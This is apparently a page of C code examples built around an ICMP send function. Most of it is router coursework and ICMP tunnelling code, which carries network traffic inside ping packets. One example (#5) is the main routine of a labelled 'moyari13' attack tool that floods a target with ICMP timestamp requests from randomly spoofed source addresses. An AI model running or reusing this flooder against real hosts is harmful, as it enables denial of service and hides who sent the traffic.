예제 #1
0
static void send_packet(struct connection_data *data, int type, void *payload, int size)
{
	struct itun_packet *packet = malloc(sizeof(struct itun_packet));
	bzero(packet, sizeof(struct itun_packet));

	packet->header = malloc(sizeof(struct itun_header));
	bzero(packet->header, sizeof(struct itun_header));

	packet->header->magic		= MAGIC_NUMBER;
	packet->header->connid		= data->connid;
	packet->header->type		= type;
	packet->header->seq		= data->last_seq++;
	packet->header->length		= size;

	packet->connection		= data;
	packet->icmp_type		= ICMP_ECHOREPLY;

	if (payload != NULL)
	{
		packet->data = malloc(size * sizeof(char));
		memcpy(packet->data, payload, size);
	}

//	packets_add(params->packets_send, packet);
	send_icmp_packet(params->bind_ip, data->client_ip, packet);
}
예제 #2
0
static void* do_request_packets(void *arg)
{
	if (arg) {}
	pthread_exit(NULL);

	while (1)
	{
		while (1)
		{
			struct itun_packet *packet = packets_get_expired_packet(params->packets_send, MAX_PACKET_WAIT_TIME);
			if (packet == NULL)
				break;

			struct connection_data *data = (struct connection_data *) packet->connection;
			if (data == NULL)
				continue;

			if (packet->requests <= MAX_PACKET_REQUESTS)
			{
				printf("Resend packet with seq %d fo connection %d\n", packet->header->seq, packet->header->connid);
				send_icmp_packet(params->bind_ip, data->client_ip, packet);
				continue;
			}

			printf("Reached %d packet with seq %d loss, closing connection %d\n", packet->requests, packet->header->seq, data->connid);
			free_connection_data(data);
		}

		sleep(1);
	}

	pthread_exit(NULL);
}
예제 #3
0
int main()
{
  struct icmp_packet packet;
  char *src_ip;
  char *dest_ip;
  int sock_fd;

  src_ip = "127.0.0.2";
  dest_ip = "127.0.0.1";

  strcpy(packet.src_addr, src_ip);
  strcpy(packet.dest_addr, dest_ip);
  set_reply_type(&packet);
  packet.payload = "ZZZZZZ";
  packet.payload_size = strlen(packet.payload);

  sock_fd = open_icmp_socket();

  send_icmp_packet(sock_fd, &packet);

  close_icmp_socket(sock_fd);
}
예제 #4
0
파일: sr_router.c 프로젝트: cpomz/router
/*---------------------------------------------------------------------
 * Method: process_ip_packet(
    struct sr_instance* sr,
    uint8_t* packet_buffer,
    unsigned int len,
    char* interface)
 * Scope:  Global
 *
 * function to process the arp packet
 *
 *---------------------------------------------------------------------*/
int process_ip_packet(
    struct sr_instance* sr,
    uint8_t* packet_buffer,
    unsigned int len,
    char* interface) {

  assert(sr);
  assert(packet_buffer);
  assert(interface);

  // Start of next header: add to packet head 
  unsigned int etherLen = sizeof(sr_ethernet_hdr_t);
  int ipLen = sizeof(sr_ip_hdr_t); //ip header length
  int arpLen  = sizeof(sr_arp_hdr_t); //arp header length
  if (len < etherLen + ipLen) {
    fprintf(stderr, "IP header: insufficient length\n");
    return -1;
  }

  printf("Processing IP Packet\n");
  // DEBUG only print_hdr_ip(packet + etherLen); 

  // Create request IP Packet 
  sr_ip_hdr_t *ip_header = (sr_ip_hdr_t *)(packet_buffer + etherLen);

  uint16_t req_cksum = ip_header->ip_sum;
  ip_header->ip_sum = 0;

  if (cksum(packet_buffer + etherLen, ipLen) != req_cksum) {
    fprintf(stderr, "Error: IP header - invalid checksum\n");
    return -1;
  }

  // Check if in router's interfaces
  struct sr_if* my_interface = sr_find_interface(sr, ip_header->ip_dst);

  if (my_interface) {
    //Interface exists 

    etherLen += ipLen;

    if (ip_header->ip_p == ip_protocol_icmp) { // ICMP 
      if (len < etherLen + sizeof(sr_icmp_hdr_t)) {
        fprintf(stderr, "Error: ICMP header - insufficient length\n");
        return -1;
      }
      printf("Processing ICMP Packet\n");

      // Create ICMP Packet 
      sr_icmp_hdr_t* req_icmp = (sr_icmp_hdr_t *)(packet_buffer + etherLen);

      uint16_t req_icmp_cksum = req_icmp->icmp_sum;
      req_icmp->icmp_sum = 0;

      if (cksum(packet_buffer + etherLen, len - etherLen) != req_icmp_cksum) {
        fprintf(stderr, "Error: ICMP header - invalid checksum\n");
        return -1;
      }

      // Process ICMP message 
      if (req_icmp->icmp_type != 8 || req_icmp->icmp_code != 0) {
        // Drop packet if not echo request 
        printf("ICMP wasn't type echo.  Dropping packet\n");
        return -1;
      }

      // Set response length equal to request's 
      uint16_t reply_pkt_len = len;

      
      //construct icmp echo reply packet
      uint8_t* reply_buf = (uint8_t *)malloc(reply_pkt_len);

      // copy icmp data + icmp header
      memcpy(reply_buf + etherLen, packet_buffer + etherLen,reply_pkt_len - etherLen);

      
      //  Populate ICMP Message
      
      sr_icmp_hdr_t* response_icmp = (sr_icmp_hdr_t *)(reply_buf +etherLen);

      // Format echo reply 
      response_icmp->icmp_type = 0;
      response_icmp->icmp_code = 0;

      // Generate ICMP checksum 
      response_icmp->icmp_sum = 0;  //initially 0
      response_icmp->icmp_sum = cksum(reply_buf + etherLen,reply_pkt_len - etherLen);

      // construct icmp echo reply ip header
      sr_ip_hdr_t* reply_ip_hdr = (sr_ip_hdr_t *)(reply_buf + etherLen);

      // simply swap src and dst addresses 
      reply_ip_hdr->ip_dst = ip_header->ip_src;
      reply_ip_hdr->ip_src = ip_header->ip_dst;

      // Set IP Headers 
      reply_ip_hdr->ip_v = 4;
      reply_ip_hdr->ip_hl = 5;
      reply_ip_hdr->ip_tos = 0;
      reply_ip_hdr->ip_len = htons(reply_pkt_len -etherLen); //header + icmp header
      reply_ip_hdr->ip_id = htons(0);
      reply_ip_hdr->ip_off = htons(IP_DF);
      reply_ip_hdr->ip_ttl = 100;
      reply_ip_hdr->ip_p = ip_protocol_icmp;

      // Generate IP checksum 
      reply_ip_hdr->ip_sum = 0;
      reply_ip_hdr->ip_sum = cksum(reply_buf + etherLen,ipLen);

      // Modify Ethernet packet 
      sr_ethernet_hdr_t* response_eth = (sr_ethernet_hdr_t *)(reply_buf);
      response_eth->ether_type = htons(ethertype_ip);

      printf("Sending ICMP ping reply\n");
      if (send_packet_to_ip_addr(sr, reply_buf, reply_pkt_len,
          reply_ip_hdr->ip_dst, interface) == -1) {
        fprintf(stderr, "Error sending packet\n");
        return -1;
      }
      printf("Packet sent (%d)\n", reply_pkt_len);

      free(reply_buf);

    } else if (ip_header->ip_p == 6 || ip_header->ip_p == 17) {
      // TCP or UDP 
      printf("TCP or UDP found.  Sending back ICMP type 3, code 3\n");

      if (send_icmp_packet(
          sr, 3, 3, ip_header->ip_src, (uint8_t *)ip_header, interface) == -1) {
        fprintf(stderr, "Error: Failure sending ICMP message (3,3)\n");
        return -1;
      }

    } else {
      // Drop packet if other protocol 
      printf("Protocol not found.  Dropping packet\n");
      return -1;
    }

  } else {
    // Forward the Packet 
    printf("Forwarding Process Initiated\n");

    // Routing Table lookup 
    struct sr_rt* route = sr_find_rt_entry(sr, ip_header->ip_dst);

    // Make sure there is a next route. 
    if (route == NULL) {
      printf("Route does not exist.  Forwarding terminated\n");

      if (send_icmp_packet(
          sr, 3, 0, ip_header->ip_src, (uint8_t *)ip_header, interface) == -1) {
        fprintf(stderr, "Error: Failure sending ICMP message (3,0)\n");
        return -1;
      }

      return -2;
    }

    // Decrement the TTL 
    ip_header->ip_ttl--;
    if (ip_header->ip_ttl == 0) {
      // Send back ICMP time exceeded 
      printf("Packet TTL expired.\n");
      if (send_icmp_packet(
          sr, 11, 0, ip_header->ip_src, (uint8_t *)ip_header, interface) == -1) {
        fprintf(stderr, "Error: Failure sending ICMP message (11,0)\n");
        return -1;
      }
      return 0;
    }
	
    // Update the checksum 
    ip_header->ip_sum = 0;
    ip_header->ip_sum = cksum((uint8_t*) ip_header, ipLen);

    // Send the packet to the correct IP 
    if (send_packet_to_ip_addr(sr, packet_buffer, len, route->gw.s_addr,
        route->interface) != 0) {
      fprintf(stderr, "Error: Failure from send_packet_to_ip_addr\n");
      return -1;
    }
    printf("Packet forwarded\n");
  }

  return 0;
}
예제 #5
0
int
main( int argc, char *argv[] )
    {
    char    tmp_buffer[ 1024 ];         /* tmp_buffer                   */
    int     loop, loop2;                /* loop counter                 */
    int     sock_send;                  /* socket_fd                    */
    u_long  src_addr, dst_addr;         /* src/dst addr                 */
    time_t  t;                          /* init_rand_seed(time)         */

    struct  hostent     *host;          /* hostinfo(hostent)            */
    struct  sockaddr_in addr;           /* (sockaddr_in)addr            */


    /************************/
    /*  print usage(error)  */
    /************************/
    if( argc != 3 )
        {
        printf( "Usage : %s <dst addr> <count>\n", argv[0] );
        exit( -1 );
        }


    /********************/
    /*  init rand_seed  */
    /********************/
    t = time( 0 );
    srand( ( u_int )t );


    /********************/
    /* Get src_address  */
    /********************/
    gethostname( tmp_buffer, 128 );
    host = gethostbyname( tmp_buffer );
    if( host == NULL )
        {
        printf( "Can't get this machine's hostname\n" );
        exit( -1 );
        }
    memcpy( &src_addr, host->h_addr, 4 );

    /********************/
    /* Get dst_address  */
    /********************/
    memset( &addr, 0, sizeof( struct sockaddr_in ) );
    addr.sin_family         = AF_INET;
    addr.sin_addr.s_addr    = inet_addr( argv[1] );
    if( addr.sin_addr.s_addr == -1 )
        {
        host = gethostbyname( argv[1] );
        if( host == NULL )
            {
            printf( "Unknown host %s.\n", argv[1] );
            exit( -1 );
            }
        addr.sin_family = host->h_addrtype;
        memcpy( ( caddr_t )&addr.sin_addr, host->h_addr, host->h_length );
        }
    memcpy( &dst_addr, ( char *)&addr.sin_addr.s_addr, 4 );

    /********************/
    /* open RAW_socket  */
    /********************/
    if( ( sock_send = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) == -1)
        {
        perror( "Getting raw send socket" );
        exit( -1 );
        }


#if 0   /* fake */
    src_addr = inet_addr( "89.89.89.89" );
#endif


    /****************************/
    /*  - m o - y a - r i -     */
    /****************************/
    printf( "[ moyari13 ( TimeStump request) Attack ]\n\n" );
    printf( "sending..." );

    for( loop = 0; loop < atoi( argv[2] ); loop++ )
        {
#if 1   /* spoof( random ) */
        src_addr = rand() % 0xffffffff;
#endif
        send_icmp_packet( sock_send, src_addr, dst_addr );
        printf( "." );
        fflush( stdout );
        }

    printf( "\nDone.\n" );
    close( sock_send );

    exit( 0 );
    }
예제 #6
0
파일: tunnel.c 프로젝트: KiteGh0st/opparis
/**
 * Function to run the tunnel
 */
void run_tunnel(char *dest, int server)
{
  struct icmp_packet packet;
  int tun_fd, sock_fd;

  fd_set fs;

  tun_fd = tun_alloc("tun0", IFF_TUN | IFF_NO_PI);

  printf("[DEBUG] Starting tunnel - Dest: %s, Server: %d\n", dest, server);
  printf("[DEBUG] Opening ICMP socket\n");
  sock_fd = open_icmp_socket();

  if (server) {
    printf("[DEBUG] Binding ICMP socket\n");
    bind_icmp_socket(sock_fd);
  }

  configure_network(server);

  while (1) {
    FD_ZERO(&fs);
    FD_SET(tun_fd, &fs);
    FD_SET(sock_fd, &fs);

    select(tun_fd>sock_fd?tun_fd+1:sock_fd+1, &fs, NULL, NULL, NULL);

    if (FD_ISSET(tun_fd, &fs)) {
      printf("[DEBUG] Data needs to be readed from tun device\n");
      // Reading data from tun device and sending ICMP packet

      printf("[DEBUG] Preparing ICMP packet to be sent\n");
      // Preparing ICMP packet to be sent
      memset(&packet, 0, sizeof(struct icmp_packet));
      printf("[DEBUG] Destination address: %s\n", dest);
      strcpy(packet.src_addr, "0.0.0.0");
      strcpy(packet.dest_addr, dest);
      if(server) {
        set_reply_type(&packet);
      }
      else {
        set_echo_type(&packet);
      }
      packet.payload = malloc(MTU);
      packet.payload_size  = tun_read(tun_fd, packet.payload, MTU);
      if(packet.payload_size  == -1) {
        perror("Error while reading from tun device\n");
        exit(EXIT_FAILURE);
      }

      printf("[DEBUG] Sending ICMP packet with payload_size: %d, payload: %s\n", packet.payload_size, packet.payload);
      // Sending ICMP packet
      send_icmp_packet(sock_fd, &packet);

      free(packet.payload);
    }

    if (FD_ISSET(sock_fd, &fs)) {
      printf("[DEBUG] Received ICMP packet\n");
      // Reading data from remote socket and sending to tun device

      // Getting ICMP packet
      memset(&packet, 0, sizeof(struct icmp_packet));
      receive_icmp_packet(sock_fd, &packet);

      printf("[DEBUG] Read ICMP packet with src: %s, dest: %s, payload_size: %d, payload: %s\n", packet.src_addr, packet.dest_addr, packet.payload_size, packet.payload);
      // Writing out to tun device
      tun_write(tun_fd, packet.payload, packet.payload_size);

      printf("[DEBUG] Src address being copied: %s\n", packet.src_addr);
      strcpy(dest, packet.src_addr);
    }
  }

}
예제 #7
0
/*
 * HELPER function called from arp_thread
 */
void process_arp_queue(struct sr_instance* sr) {
	router_state* rs = get_router_state(sr);
	node* n = get_router_state(sr)->arp_queue;
	node* next = NULL;
	time_t now;
	double diff;

	while (n) {
		next = n->next;

		arp_queue_entry* aqe = (arp_queue_entry*)n->data;

		/* has it been over a second since the last arp request was sent? */
		time(&now);
		diff = difftime(now, aqe->last_req_time);
		if (diff > 1) {
			/* have we sent less than 5 arp requests? */
			if (aqe->requests < 5) {
				/* send another */
				time(&(aqe->last_req_time));
				++(aqe->requests);
				send_arp_request(sr, aqe->next_hop.s_addr, aqe->out_iface_name);
			} else {
				/* we have exceeded the max arp requests, return packets to sender */
				node* cur_packet_node = aqe->head;
				node* next_packet_node = NULL;

				while (cur_packet_node) {
					/* send icmp for the packet, free it, and its encasing entry */
					arp_queue_packet_entry* aqpe = (arp_queue_packet_entry*)cur_packet_node->data;

					/* only send an icmp error if the packet is not icmp, or if it is, its an echo request or reply
					 * also ensure we don't send an icmp error back to one of our interfaces
					 */
					if ((get_ip_hdr(aqpe->packet, aqpe->len)->ip_p != IP_PROTO_ICMP) ||
							(get_icmp_hdr(aqpe->packet, aqpe->len)->icmp_type == ICMP_TYPE_ECHO_REPLY) ||
							(get_icmp_hdr(aqpe->packet, aqpe->len)->icmp_type == ICMP_TYPE_ECHO_REQUEST)) {

					 	/* also ensure we don't send an icmp error back to one of our interfaces */
						if (!iface_match_ip(rs, get_ip_hdr(aqpe->packet, aqpe->len)->ip_src.s_addr)) {
							/* Total hack here to increment the TTL since we already decremented it earlier in the pipeline
							 * and the ICMP error should return the original packet.
							 * TODO: Don't decrement the TTL until the packet is ready to be put on the wire
							 * and we have the next hop ARP address, although checking should be done
							 * where it is currently being decremented to minimize effort on a doomed packet */
							ip_hdr *ip = get_ip_hdr(aqpe->packet, aqpe->len);
							if (ip->ip_ttl < 255) {
								ip->ip_ttl++;

								/* recalculate checksum */
								bzero(&ip->ip_sum, sizeof(uint16_t));
								uint16_t checksum = htons(compute_ip_checksum(ip));
								ip->ip_sum = checksum;
							}

							send_icmp_packet(sr, aqpe->packet, aqpe->len, ICMP_TYPE_DESTINATION_UNREACHABLE, ICMP_CODE_HOST_UNREACHABLE);
						}
					}

					free(aqpe->packet);
					next_packet_node = cur_packet_node->next;
					//free(cur_packet_node);   /* IS THIS CORRECT TO FREE IT ? */
					node_remove(&(aqe->head), cur_packet_node);
					cur_packet_node = next_packet_node;
				}

				/* free the arp queue entry for this destination ip, and patch the list */
				node_remove(&(get_router_state(sr)->arp_queue), n);
			}
		}

		n = next;
	}
}